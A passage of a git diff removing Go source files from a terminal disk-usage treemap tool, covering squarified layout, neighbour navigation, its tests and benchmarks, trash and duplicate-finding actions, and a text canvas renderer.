int - id int64 - } - less := func(a, b score) bool { - switch { - case a.tier != b.tier: - return a.tier < b.tier - case a.gap != b.gap: - return a.gap < b.gap - case a.ovl != b.ovl: - return a.ovl > b.ovl - case a.off != b.off: - return a.off < b.off - case a.y != b.y: - return a.y < b.y - case a.x != b.x: - return a.x < b.x - } - return a.id < b.id - } - var best score - have := false - for _, c := range blocks { - if c.ID == sel { - continue - } - var gap, lo, hi, clo, chi int - var ok bool - switch d { - case Right: - ok, gap = c.X >= s.X+s.W, c.X-(s.X+s.W) - lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H - case Left: - ok, gap = c.X+c.W <= s.X, s.X-(c.X+c.W) - lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H - case Down: - ok, gap = c.Y >= s.Y+s.H, c.Y-(s.Y+s.H) - lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W - case Up: - ok, gap = c.Y+c.H <= s.Y, s.Y-(c.Y+c.H) - lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W - } - if !ok { - continue - } - tier, ovl := 1, min(hi, chi)-max(lo, clo) - if ovl > 0 { - tier = 0 - } else { - ovl = 0 - } - // Distance (doubled, to stay integral) from the selected centre - // line to the candidate's span; 0 if the span contains it. - centre := lo + hi - off := 0 - if centre < 2*clo { - off = 2*clo - centre - } else if centre > 2*chi { - off = centre - 2*chi - } - sc := score{tier, gap, ovl, off, c.Y, c.X, c.ID} - if !have || less(sc, best) { - best, have = sc, true - } - } - return best.id, have -} diff --git a/internal/treemap/treemap.go b/internal/treemap/treemap.go deleted file mode 100644 index 1dd9aab..0000000 --- a/internal/treemap/treemap.go +++ /dev/null @@ -1,189 +0,0 @@ -// Package treemap is pure geometry: squarified layout on a cell grid, -// level-of-detail selection and spatial neighbour search. It has no -// knowledge of filesystems or terminals. -package treemap - -import ( - "math" - "sort" -) - -// Rect is an integer cell rectangle. -type Rect struct{ X, Y, W, H int } - -// Empty reports whether r has no cells. -func (r Rect) Empty() bool { return r.W <= 0 || r.H <= 0 } - -// Area returns W*H. -func (r Rect) Area() int { return max(r.W, 0) * max(r.H, 0) } - -// Contains reports whether the cell (x, y) is inside r. -func (r Rect) Contains(x, y int) bool { return x >= r.X && x < r.X+r.W && y >= r.Y && y < r.Y+r.H } - -// Inset shrinks r by n cells on each side. -func (r Rect) Inset(n int) Rect { - r = Rect{r.X + n, r.Y + n, r.W - 2*n, r.H - 2*n} - if r.W < 0 { - r.W = 0 - } - if r.H < 0 { - r.H = 0 - } - return r -} - -// Item is something to lay out. Size must be > 0 to receive space. -type Item struct { - ID int64 - Size float64 -} - -// Block is a laid-out item. -type Block struct { - ID int64 - Rect -} - -// Squarify lays items out inside bounds using the squarified treemap -// algorithm (Bruls, Huizing, van Wijk). Items with non-positive size are -// ignored. The output partitions bounds exactly: rectangle edges are snapped -// to the grid by rounding shared float edges, so there are no gaps and no -// overlaps. Items that round to zero width or height are omitted. The result -// is deterministic for a given input set regardless of input order. -func Squarify(items []Item, bounds Rect) []Block { - if bounds.Empty() { - return nil - } - its := make([]Item, 0, len(items)) - total := 0.0 - for _, it := range items { - if it.Size > 0 && !math.IsInf(it.Size, 0) && !math.IsNaN(it.Size) { - its = append(its, it) - total += it.Size - } - } - if len(its) == 0 || total <= 0 { - return nil - } - sort.SliceStable(its, func(i, j int) bool { - if its[i].Size != its[j].Size { - return its[i].Size > its[j].Size - } - return its[i].ID < its[j].ID - }) - scale := float64(bounds.W) * float64(bounds.H) / total - areas := make([]float64, len(its)) - for i, it := range its { - areas[i] = it.Size * scale - } - frs := layout(areas, float64(bounds.X), float64(bounds.Y), float64(bounds.W), float64(bounds.H)) - out := make([]Block, 0, len(its)) - for i, f := range frs { - x0, y0 := int(math.Round(f[0])), int(math.Round(f[1])) - x1, y1 := int(math.Round(f[0]+f[2])), int(math.Round(f[1]+f[3])) - x1 = min(x1, bounds.X+bounds.W) - y1 = min(y1, bounds.Y+bounds.H) - if x1 > x0 && y1 > y0 { - out = append(out, Block{ID: its[i].ID, Rect: Rect{x0, y0, x1 - x0, y1 - y0}}) - } - } - return out -} - -// worst returns the worst aspect ratio of a row with the given sum, largest -// and smallest areas laid along a side of length side. -func worst(sum, largest, smallest, side float64) float64 { - s2, w2 := sum*sum, side*side - return math.Max(w2*largest/s2, s2/(w2*smallest)) -} - -// layout returns float rectangles [x, y, w, h] for areas sorted descending. -func layout(areas []float64, x, y, w, h float64) [][4]float64 { - out := make([][4]float64, len(areas)) - n := len(areas) - for i := 0; i < n; { - short := math.Min(w, h) - j := i + 1 - sum := areas[i] - cur := worst(sum, areas[i], areas[i], short) - for j < n { - s2 := sum + areas[j] - if nw := worst(s2, areas[i], areas[j], short); nw > cur { - break - } else { - cur = nw - } - sum = s2 - j++ - } - last := j == n - if w >= h { - thick := sum / h - if last || thick > w { - thick = w - } - yy := y - for k := i; k < j; k++ { - hh := areas[k] / sum * h - if k == j-1 { - hh = y + h - yy - } - out[k] = [4]float64{x, yy, thick, hh} - yy += hh - } - x += thick - w -= thick - } else { - thick := sum / w - if last || thick > h { - thick = h - } - xx := x - for k := i; k < j; k++ { - ww := areas[k] / sum * w - if k == j-1 { - ww = x + w - xx - } - out[k] = [4]float64{xx, y, ww, thick} - xx += ww - } - y += thick - h -= thick - } - i = j - } - return out -} - -// Visible decides how many leading items of a size-sorted (descending) -// list deserve their own block when area cells represent total: items are -// kept while each would get at least minArea cells and fewer than maxItems -// have been kept. The remainder should be merged into one group block. -func Visible(sizes []float64, total float64, area, minArea, maxItems int) int { - if total <= 0 || area <= 0 { - return 0 - } - k := 0 - for k < len(sizes) && k < maxItems { - if sizes[k]/total*float64(area) < float64(minArea) { - break - } - k++ - } - // Grouping a single leftover item gains nothing; show it directly if it - // gets at least one cell. - if k == len(sizes)-1 && k < maxItems && sizes[k]/total*float64(area) >= 1 { - k++ - } - return k -} - -// At returns the block containing the cell (x, y). -func At(blocks []Block, x, y int) (int64, bool) { - for _, b := range blocks { - if b.Contains(x, y) { - return b.ID, true - } - } - return 0, false -} diff --git a/internal/treemap/treemap_test.go b/internal/treemap/treemap_test.go deleted file mode 100644 index 9638f9c..0000000 --- a/internal/treemap/treemap_test.go +++ /dev/null @@ -1,247 +0,0 @@ -package treemap - -import ( - "math/rand" - "testing" -) - -func checkPartition(t *testing.T, blocks []Block, b Rect, exact bool) { - t.Helper() - grid := make([]int, b.W*b.H) - for _, bl := range blocks { - if bl.W <= 0 || bl.H <= 0 { - t.Fatalf("non-positive block %+v", bl) - } - if bl.X < b.X || bl.Y < b.Y || bl.X+bl.W > b.X+b.W || bl.Y+bl.H > b.Y+b.H { - t.Fatalf("block %+v outside bounds %+v", bl, b) - } - for y := bl.Y; y < bl.Y+bl.H; y++ { - for x := bl.X; x < bl.X+bl.W; x++ { - i := (y-b.Y)*b.W + (x - b.X) - if grid[i] != 0 { - t.Fatalf("overlap at %d,%d", x, y) - } - grid[i] = 1 - } - } - } - if exact { - for i, v := range grid { - if v == 0 { - t.Fatalf("gap at %d,%d", b.X+i%b.W, b.Y+i/b.W) - } - } - } -} - -func TestSquarifyBasic(t *testing.T) { - b := Rect{2, 3, 60, 20} - items := []Item{{1, 6}, {2, 6}, {3, 4}, {4, 3}, {5, 2}, {6, 2}, {7, 1}} - blocks := Squarify(items, b) - if len(blocks) != len(items) { - t.Fatalf("got %d blocks", len(blocks)) - } - checkPartition(t, blocks, b, true) - // Areas roughly proportional. - for _, bl := range blocks { - want := float64(b.Area()) * items[bl.ID-1].Size / 24 - if got := float64(bl.Area()); got < want*0.6-4 || got > want*1.4+4 { - t.Errorf("block %d area %v want ~%v", bl.ID, got, want) - } - } - // Deterministic regardless of input order. - rev := append([]Item(nil), items...) - for i, j := 0, len(rev)-1; i < j; i, j = i+1, j-1 { - rev[i], rev[j] = rev[j], rev[i] - } - b2 := Squarify(rev, b) - for i := range blocks { - if blocks[i] != b2[i] { - t.Fatal("layout depends on input order") - } - } -} - -func TestSquarifyEdgeCases(t *testing.T) { - if Squarify(nil, Rect{0, 0, 10, 10}) != nil { - t.Fatal("nil items") - } - if Squarify([]Item{{1, 0}, {2, -5}}, Rect{0, 0, 10, 10}) != nil { - t.Fatal("zero sizes should produce nothing") - } - for _, b := range []Rect{{0, 0, 0, 0}, {0, 0, 1, 1}, {0, 0, 1, 50}, {0, 0, 50, 1}, {0, 0, -3, 4}} { - bl := Squarify([]Item{{1, 5}, {2, 3}, {3, 1}}, b) - if !b.Empty() { - checkPartition(t, bl, b, true) - } - } - // One enormous item and many tiny ones. - items := []Item{{0, 1e15}} - for i := 1; i < 500; i++ { - items = append(items, Item{int64(i), 1}) - } - bl := Squarify(items, Rect{0, 0, 80, 24}) - checkPartition(t, bl, Rect{0, 0, 80, 24}, true) -} - -func TestResizeRecomputes(t *testing.T) { - items := []Item{{1, 50}, {2, 30}, {3, 20}} - for _, b := range []Rect{{0, 0, 80, 24}, {0, 0, 120, 40}, {0, 0, 300, 80}, {0, 0, 70, 20}, {0, 0, 180, 50}} { - bl := Squarify(items, b) - checkPartition(t, bl, b, true) - if len(bl) != 3 { - t.Fatalf("%v: %d blocks", b, len(bl)) - } - } -} - -func FuzzSquarify(f *testing.F) { - f.Add(int64(1), 80, 24, 10) - f.Add(int64(2), 3, 2, 100) - f.Add(int64(3), 300, 90, 1000) - f.Fuzz(func(t *testing.T, seed int64, w, h, n int) { - w, h, n = w%400, h%150, n%3000 - if w < 0 || h < 0 || n < 0 { - return - } - r := rand.New(rand.NewSource(seed)) - items := make([]Item, n) - for i := range items { - items[i] = Item{int64(i), float64(r.Int63n(1 << uint(r.Intn(40)+1)))} - } - b := Rect{r.Intn(10), r.Intn(10), w, h} - bl := Squarify(items, b) - if !b.Empty() && len(bl) > 0 { - checkPartition(t, bl, b, true) - } - }) -} - -func TestVisible(t *testing.T) { - sizes := []float64{100, 50, 10, 1, 1, 1} - if k := Visible(sizes, 163, 1630, 20, 100); k != 3 { - t.Fatalf("k=%d", k) - } - if k := Visible(sizes, 163, 1630, 20, 2); k != 2 { - t.Fatalf("maxItems k=%d", k) - } - if k := Visible([]float64{10, 1}, 11, 1100, 200, 10); k != 2 { - t.Fatalf("single leftover k=%d", k) - } -} - -// Layout: -// -// ┌───────┬───────┐ -// │ A │ B │ -// ├───┬───┴───────┤ -// │ C │ D │ -// └───┴───────────┘ -func TestNeighbour(t *testing.T) { - A := Block{1, Rect{0, 0, 8, 4}} - B := Block{2, Rect{8, 0, 8, 4}} - C := Block{3, Rect{0, 4, 4, 4}} - D := Block{4, Rect{4, 4, 12, 4}} - bs := []Block{D, C, B, A} // order must not matter - cases := []struct { - from int64 - d Direction - want int64 - ok bool - }{ - {1, Right, 2, true}, {2, Left, 1, true}, {1, Down, 3, true}, {2, Down, 4, true}, - {3, Right, 4, true}, {4, Left, 3, true}, {3, Up, 1, true}, {4, Up, 2, true}, - {1, Left, 0, false}, {1, Up, 0, false}, {4, Right, 0, false}, {4, Down, 0, false}, - } - for _, c := range cases { - got, ok := Neighbour(bs, c.from, c.d) - if ok != c.ok || got != c.want { - t.Errorf("from %d dir %d: got %d,%v want %d,%v", c.from, c.d, got, ok, c.want, c.ok) - } - } -} - -func TestNeighbourPrefersAdjacentOverArrayOrder(t *testing.T) { - // S is on the left; R is directly right; F is far right and lower but - // appears first in the slice. - S := Block{1, Rect{0, 0, 10, 5}} - R := Block{2, Rect{10, 0, 10, 5}} - F := Block{3, Rect{10, 20, 30, 5}} - if got, _ := Neighbour([]Block{F, S, R}, 1, Right); got != 2 { - t.Fatalf("got %d", got) - } - // Tall block on the left with three stacked blocks to the right: pick - // the one at the centre line. - T := Block{10, Rect{0, 0, 10, 9}} - r1 := Block{11, Rect{10, 0, 10, 3}} - r2 := Block{12, Rect{10, 3, 10, 3}} - r3 := Block{13, Rect{10, 6, 10, 3}} - if got, _ := Neighbour([]Block{r3, r1, r2, T}, 10, Right); got != 12 { - t.Fatalf("centre preference: got %d", got) - } - if got, _ := Neighbour([]Block{r3, r1, r2, T}, 13, Left); got != 10 { - t.Fatalf("back left: got %d", got) - } -} - -func TestNeighbourRandomLayoutsAlwaysAdjacent(t *testing.T) { - r := rand.New(rand.NewSource(7)) - for iter := 0; iter < 200; iter++ { - items := make([]Item, 2+r.Intn(30)) - for i := range items { - items[i] = Item{int64(i), float64(1 + r.Intn(1000))} - } - bl := Squarify(items, Rect{0, 0, 120, 40}) - for _, s := range bl { - for _, d := range []Direction{Left, Right, Up, Down} { - id, ok := Neighbour(bl, s.ID, d) - if !ok { - continue - } - var c Block - for _, b := range bl { - if b.ID == id { - c = b - } - } - // In a partition, if any block touches the edge in direction d - // with overlapping span, the chosen one must touch too. - var touch bool - switch d { - case Right: - touch = c.X == s.X+s.W - case Left: - touch = c.X+c.W == s.X - case Down: - touch = c.Y == s.Y+s.H - case Up: - touch = c.Y+c.H == s.Y - } - if !touch { - t.Fatalf("iter %d: from %+v dir %d chose non-adjacent %+v", iter, s, d, c) - } - } - } - } -} - -func BenchmarkSquarify(b *testing.B) { - items := make([]Item, 300) - for i := range items { - items[i] = Item{int64(i), float64(1 + i*i)} - } - for b.Loop() { - Squarify(items, Rect{0, 0, 200, 60}) - } -} - -func BenchmarkNeighbour(b *testing.B) { - items := make([]Item, 300) - for i := range items { - items[i] = Item{int64(i), float64(1 + i*i)} - } - bl := Squarify(items, Rect{0, 0, 200, 60}) - for b.Loop() { - Neighbour(bl, 150, Right) - } -} diff --git a/internal/tui/actions.go b/internal/tui/actions.go deleted file mode 100644 index 7b3d7e2..0000000 --- a/internal/tui/actions.go +++ /dev/null @@ -1,276 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "io/fs" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/duplicate" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// ---- Trash --------------------------------------------------------------- - -type trashDoneMsg struct { - tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped - id inventory.NodeID - err error - done string // "Moved to trash" or "Deleted" -} - -// requestTrash asks for confirmation before moving the selection to the -// trash. On a headless system (no desktop, so nobody empties the trash and -// the space is never freed) it deletes permanently instead, after a -// confirmation that says so. -func (m *Model) requestTrash() tea.Cmd { - switch { - case m.opts.ReadOnly: - return m.warn("Read-only mode: modifying actions are disabled") - case m.snapshot: - return m.warn("Snapshot view: nothing to delete on the live filesystem") - case m.scanning: - return m.warn("Wait for the scan to finish before deleting items") - } - id := m.selectedNode() - if id == inventory.NoNode || id == m.tree.Root() { - return nil - } - n := m.tree.Node(id) - path := m.tree.Path(id) - want := platform.Expect{UID: n.UID, Mode: fs.FileMode(n.Mode)} - what := "file" - if n.IsDir() { - what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files))) - } - body := []string{textutil.Sanitize(path), "", fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))), ""} - if platform.Headless() { - m.openModal(&confirmModal{ - ttl: "Delete permanently? Are you sure?", - body: append(body, "This is a headless system (no X or Wayland display), so there is no trash:", - "it will be permanently deleted and cannot be recovered."), - yes: "delete permanently", - onYes: func(m *Model) tea.Cmd { - t := m.tree - return func() tea.Msg { return trashDoneMsg{t, id, platform.Delete(path, want), "Deleted"} } - }, - }) - return nil - } - m.openModal(&confirmModal{ - ttl: "Move to trash?", - body: append(body, "It will be moved to the "+platform.TrashName+", not permanently deleted."), - yes: "move to " + platform.TrashName, - onYes: func(m *Model) tea.Cmd { - t := m.tree - return func() tea.Msg { - return trashDoneMsg{t, id, platform.Trash(path, want), "Moved to " + platform.TrashName} - } - }, - }) - return nil -} - -func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd { - if msg.err != nil { - return m.warn("Delete failed: " + textutil.Sanitize(msg.err.Error())) - } - if msg.tree != m.tree || m.scanning { - // A rescan replaced the inventory; the new scan reflects the change. - return m.info(msg.done) - } - // The scan has finished, so the UI goroutine is the tree's only writer. - t := m.tree - t.Lock() - n := t.Node(msg.id) - n.Flags |= inventory.FlagDeleted - d := inventory.Delta{Size: -n.TotSize, Alloc: -n.TotAlloc, Files: -int64(n.Files), Dirs: -int64(n.Dirs)} - if n.IsDir() { - d.Dirs-- - for i, v := range t.CatSizes(msg.id) { - d.Cat[i] = -v - } - } else { - d.Files-- - d.Cat[n.Cat] = -n.TotAlloc - } - t.Propagate(n.Parent, d) - n.TotSize, n.TotAlloc = 0, 0 - name := n.Name - t.Unlock() - m.invalidate() - return m.info(msg.done + ": " + textutil.Sanitize(name)) -} - -// ---- Duplicates ---------------------------------------------------------- - -type dupState struct { - running bool - finder *duplicate.Finder - groups []duplicate.Group - err error - cancel context.CancelFunc - started time.Time -} - -type ( - dupProgressMsg struct{} - dupDoneMsg struct { - finder *duplicate.Finder // identifies the search; stale results are dropped - groups []duplicate.Group - err error - } -) - -func (m *Model) startDuplicates() tea.Cmd { - if m.snapshot { - return m.warn("Duplicate detection needs the live filesystem") - } - if m.scanning { - return m.warn("Wait for the scan to finish first") - } - if m.dups != nil { - m.ensureDupView() - return nil - } - m.openModal(&confirmModal{ - ttl: "Find duplicate files?", - body: []string{ - "Files are grouped by size, then sampled, then fully hashed with SHA-256.", - "Only identical hashes are reported as duplicates.", - "", "This reads file contents (it may take a while and can update access times).", - }, - yes: "start", - onYes: func(m *Model) tea.Cmd { - ctx, cancel := context.WithCancel(context.Background()) - f := &duplicate.Finder{} - m.dups = &dupState{running: true, finder: f, cancel: cancel, started: time.Now()} - m.ensureDupView() - t := m.tree - return tea.Batch(m.startTicking(), func() tea.Msg { - g, err := f.Find(ctx, t, duplicate.Options{MinSize: 1, Workers: 4}) - return dupDoneMsg{f, g, err} - }) - }, - }) - return nil -} - -func (m *Model) ensureDupView() { - for i, v := range m.views { - if _, ok := v.(*dupView); ok { - m.setView(i) - return - } - } - m.views = append(m.views, &dupView{}) - m.setView(len(m.views) - 1) -} - -func (m *Model) dupMsg(msg tea.Msg) tea.Cmd { - if d, ok := msg.(dupDoneMsg); ok && m.dups != nil && d.finder == m.dups.finder { - m.dups.running = false - m.dups.groups, m.dups.err = d.groups, d.err - m.dirty = true - var wasted int64 - for _, g := range d.groups { - wasted += g.Wasted() - } - return m.info(fmt.Sprintf("Duplicates: %d verified groups, %s reclaimable", len(d.groups), textutil.Size(wasted))) - } - return nil -} - -type dupView struct { - tb table - rows []dupRow -} - -type dupRow struct { - group int - id inventory.NodeID // NoNode for a group header -} - -func (*dupView) name() string { return "Dups" } - -func (v *dupView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - d := m.dups - if d == nil { - cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Press D to search for duplicates", t.muted()) - return - } - if d.running { - p := d.finder.Progress() - cv.Fill(r, " ", t.base()) - y := r.Y + r.H/2 - 2 - cv.TextCentered(r.X, y, r.W, "Finding duplicates — "+p.Stage+"…", Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - cv.TextCentered(r.X, y+2, r.W, fmt.Sprintf("%s candidate files in %s size groups", textutil.Count(p.Candidates), - textutil.Count(p.CandidateGroups)), t.base()) - if p.BytesToHash > 0 { - frac := float64(p.BytesHashed) / float64(p.BytesToHash) - bw := min(60, r.W-10) - m.paintBar(cv, r.X+(r.W-bw)/2, y+4, bw, frac, t.Accent, false) - cv.TextCentered(r.X, y+5, r.W, fmt.Sprintf("%s of %s hashed · %s skipped", textutil.Size(p.BytesHashed), - textutil.Size(p.BytesToHash), textutil.Count(p.Skipped)), t.muted()) - } - return - } - v.rows = v.rows[:0] - var tr []tableRow - for gi, g := range d.groups { - v.rows = append(v.rows, dupRow{gi, inventory.NoNode}) - tr = append(tr, tableRow{ - cells: []string{textutil.Size(g.Wasted()), fmt.Sprintf("%d × %s", len(g.Files), textutil.Size(g.Size)), fmt.Sprintf("verified identical · sha256 %x…", g.Hash[:8])}, - styles: []*Style{{FG: t.Warn, BG: t.Bg, Attr: Bold}, {FG: t.Fg, BG: t.Bg, Attr: Bold}, {FG: t.OK, BG: t.Bg}}, bar: -1, - }) - for _, id := range g.Files { - v.rows = append(v.rows, dupRow{gi, id}) - tr = append(tr, tableRow{cells: []string{"", "", " " + textutil.Sanitize(m.tree.Path(id))}, bar: -1}) - } - } - title := fmt.Sprintf("Duplicates — %d groups (Enter details · Space go to)", len(d.groups)) - if d.err != nil { - title += " — stopped: " + textutil.Sanitize(d.err.Error()) - } - v.tb.paint(m, cv, r, []column{{"WASTED", 10, true, false}, {"COPIES", 16, false, false}, {"", 0, false, false}}, tr, title) -} - -func (v *dupView) key(m *Model, k string) (bool, tea.Cmd) { - if v.tb.key(k, len(v.rows)) { - return true, nil - } - if v.tb.cursor < len(v.rows) { - r := v.rows[v.tb.cursor] - if r.id == inventory.NoNode && m.dups != nil && r.group < len(m.dups.groups) { - r.id = m.dups.groups[r.group].Files[0] - } - if r.id != inventory.NoNode { - switch k { - case "enter": - m.openModal(newInfoModal(m, r.id)) - return true, nil - case "space": - m.jumpTo(r.id) - return true, nil - case "c", "o", "d": - m.sel = int64(r.id) - } - } - } - if k == "esc" && m.dups != nil && m.dups.running { - m.dups.cancel() - return true, nil - } - return false, nil -} - -func (v *dupView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.rows)) - return nil -} diff --git a/internal/tui/bench_test.go b/internal/tui/bench_test.go deleted file mode 100644 index b88c4b2..0000000 --- a/internal/tui/bench_test.go +++ /dev/null @@ -1,114 +0,0 @@ -package tui - -import ( - "fmt" - "math/rand" - "testing" - - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/inventory" -) - -// bigTree builds ~1M nodes in memory: 200 top-level dirs with nested -// subdirectories, plus one flat directory with 200k files. -func bigTree() *inventory.Tree { - r := rand.New(rand.NewSource(1)) - t := inventory.New("/big", inventory.KindDir) - file := func(p inventory.NodeID, i int) { - id := t.Add(p, fmt.Sprintf("f%d.dat", i), inventory.KindFile) - n := t.Node(id) - n.Size = int64(r.ExpFloat64() * 1e6) - n.Alloc = n.Size - n.Cat = inventory.Category(r.Intn(int(inventory.NumCategories))) - } - flat := t.Add(0, "flat", inventory.KindDir) - for i := range 200_000 { - file(flat, i) - } - for d := range 200 { - top := t.Add(0, fmt.Sprintf("dir%d", d), inventory.KindDir) - for s := range 40 { - sub := t.Add(top, fmt.Sprintf("sub%d", s), inventory.KindDir) - for f := range 100 { - file(sub, f) - } - } - } - t.Recompute() - return t -} - -var bigTreeCache *inventory.Tree - -func benchModel(b *testing.B) *Model { - if bigTreeCache == nil { - bigTreeCache = bigTree() - } - m := newModel(Options{}, nil, bigTreeCache, func() {}) - m.profile = colorprofile.TrueColor - send(m, size(200, 60)) - return m -} - -// Cold frame: sorting children, LOD selection, layout and paint. -func BenchmarkBigColdFrame(b *testing.B) { - m := benchModel(b) - b.ReportMetric(float64(m.tree.Len()), "nodes") - for b.Loop() { - m.invalidate() - m.View() - } -} - -// Resize: child lists cached; layout and paint rerun for the new size. -func BenchmarkBigResize(b *testing.B) { - m := benchModel(b) - m.View() - i := 0 - for b.Loop() { - send(m, size(150+i%100, 40+i%30)) - m.View() - i++ - } -} - -// Zoomed into a 200k-entry directory (cold child sort each time). -func BenchmarkBigFlatDirCold(b *testing.B) { - m := benchModel(b) - m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) { - if n.Name == "flat" { - m.zoom = id - } - }) - for b.Loop() { - m.invalidate() - m.View() - } -} - -// Arrow-key navigation including the re-render it triggers. -func BenchmarkBigNavigate(b *testing.B) { - m := benchModel(b) - m.View() - keys := []string{"right", "down", "left", "up"} - i := 0 - for b.Loop() { - send(m, key(keys[i%4])) - m.View() - i++ - } -} - -func BenchmarkBigFilter(b *testing.B) { - m := benchModel(b) - for _, q := range []string{"size > 1MB", "*.dat AND size > 500k", "path contains sub3"} { - b.Run(q, func(b *testing.B) { - m.search.ed.set(q) - m.queryChanged() - for b.Loop() { - m.applyFilter()() - } - }) - } -} diff --git a/internal/tui/canvas.go b/internal/tui/canvas.go deleted file mode 100644 index d153821..0000000 --- a/internal/tui/canvas.go +++ /dev/null @@ -1,324 +0,0 @@ -package tui - -import ( - "strconv" - "strings" - - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// Color is 0 for the terminal default, otherwise 0x01RRGGBB. -type Color uint32 - -// RGB builds a colour. -func RGB(r, g, b uint8) Color { return Color(1<<24 | uint32(r)<<16 | uint32(g)<<8 | uint32(b)) } - -// Hex parses "#rrggbb". -func Hex(s string) (Color, bool) { - s = strings.TrimPrefix(s, "#") - if len(s) != 6 { - return 0, false - } - v, err := strconv.ParseUint(s, 16, 32) - if err != nil { - return 0, false - } - return Color(1<<24 | uint32(v)), true -} - -func (c Color) rgb() (r, g, b float64) { - return float64(c>>16&0xff) / 255, float64(c>>8&0xff) / 255, float64(c&0xff) / 255 -} - -// Mix blends c towards o by t (0..1). Default colours are returned as-is. -func (c Color) Mix(o Color, t float64) Color { - if c == 0 || o == 0 { - return c - } - r1, g1, b1 := c.rgb() - r2, g2, b2 := o.rgb() - f := func(a, b float64) uint8 { return uint8((a + (b-a)*t) * 255) } - return RGB(f(r1, r2), f(g1, g2), f(b1, b2)) -} - -// Luma returns perceived brightness 0..1. -func (c Color) Luma() float64 { - r, g, b := c.rgb() - return 0.299*r + 0.587*g + 0.114*b -} - -// Attr is a text attribute bit set. -type Attr uint8 - -const ( - Bold Attr = 1 << iota - Faint - Italic - Underline - Reverse -) - -// Style is a cell style. -type Style struct { - FG, BG Color - Attr Attr -} - -type cell struct { - s string // "" marks the continuation of a wide cluster - st Style -} - -// Canvas is an in-memory cell grid that every view paints into. It is -// serialised once per frame. -type Canvas struct { - W, H int - c []cell -} - -// NewCanvas creates a canvas filled with spaces in style st. -func NewCanvas(w, h int, st Style) *Canvas { - cv := &Canvas{W: max(w, 0), H: max(h, 0)} - cv.c = make([]cell, cv.W*cv.H) - for i := range cv.c { - cv.c[i] = cell{" ", st} - } - return cv -} - -func (cv *Canvas) in(x, y int) bool { return x >= 0 && y >= 0 && x < cv.W && y < cv.H } - -// put writes one cluster of width w at (x, y), repairing any wide cluster it -// overlaps so the grid never holds half a character. -func (cv *Canvas) put(x, y int, s string, w int, st Style) { - if !cv.in(x, y) || x+w > cv.W { - return - } - row := y * cv.W - for i := x; i < x+w; i++ { - c := &cv.c[row+i] - if c.s == "" && i > 0 && i == x { // overwriting the tail of a wide cluster - cv.c[row+i-1].s = " " - } - if c.s != "" && textutil.Width(c.s) > 1 && i+1 < cv.W { // overwriting its head - if n := &cv.c[row+i+1]; n.s == "" { - n.s = " " - } - } - } - cv.c[row+x] = cell{s, st} - for i := 1; i < w; i++ { - cv.c[row+x+i] = cell{"", st} - } -} - -// Text draws s at (x, y), clipped to maxW cells and the canvas. Control -// characters are replaced as a second line of defence (callers sanitise -// untrusted strings first). It returns the number of cells used. -func (cv *Canvas) Text(x, y int, s string, maxW int, st Style) int { - if y < 0 || y >= cv.H { - return 0 - } - limit := min(x+maxW, cv.W) - cx := x - textutil.Clusters(s, func(c string, w int) bool { - if r := c[0]; r < 0x20 || r == 0x7f || (len(c) > 1 && c[0] == 0xc2 && c[1] < 0xa0) { - c, w = "?", 1 - } - if cx+w > limit { - // A wide cluster that does not fit leaves a blank cell. - for ; cx < limit; cx++ { - if cx >= 0 { - cv.put(cx, y, " ", 1, st) - } - } - return false - } - if cx >= 0 { - cv.put(cx, y, c, w, st) - } - cx += w - return true - }) - return cx - x -} - -// TextCentered draws s centred within [x, x+w). -func (cv *Canvas) TextCentered(x, y, w int, s string, st Style) { - s = textutil.Truncate(s, w) - cv.Text(x+(w-textutil.Width(s))/2, y, s, w, st) -} - -// TextRight draws s right-aligned ending at x+w. -func (cv *Canvas) TextRight(x, y, w int, s string, st Style) { - s = textutil.Truncate(s, w) - cv.Text(x+w-textutil.Width(s), y, s, w, st) -} - -// Fill fills r with the cluster ch. -func (cv *Canvas) Fill(r treemap.Rect, ch string, st Style) { - for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ { - for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ { - cv.put(x, y, ch, 1, st) - } - } -} - -// Restyle applies fn to the style of every cell in r. -func (cv *Canvas) Restyle(r treemap.Rect, fn func(Style) Style) { - for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ { - for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ { - c := &cv.c[y*cv.W+x] - c.st = fn(c.st) - } - } -} - -// Box glyph sets. -type BoxChars struct{ H, V, TL, TR, BL, BR string } - -var ( - BoxLight = BoxChars{"─", "│", "┌", "┐", "└", "┘"} - BoxRound = BoxChars{"─", "│", "╭", "╮", "╰", "╯"} - BoxDouble = BoxChars{"═", "║", "╔", "╗", "╚", "╝"} - BoxHeavy = BoxChars{"━", "┃", "┏", "┓", "┗", "┛"} - BoxASCII = BoxChars{"-", "|", "+", "+", "+", "+"} - BoxASCIISel = BoxChars{"=", "#", "#", "#", "#", "#"} -) - -// Box draws a border around r (which must be at least 2×2). -func (cv *Canvas) Box(r treemap.Rect, b BoxChars, st Style) { - if r.W < 2 || r.H < 2 { - return - } - x1, y1 := r.X+r.W-1, r.Y+r.H-1 - for x := r.X + 1; x < x1; x++ { - cv.put(x, r.Y, b.H, 1, st) - cv.put(x, y1, b.H, 1, st) - } - for y := r.Y + 1; y < y1; y++ { - cv.put(r.X, y, b.V, 1, st) - cv.put(x1, y, b.V, 1, st) - } - cv.put(r.X, r.Y, b.TL, 1, st) - 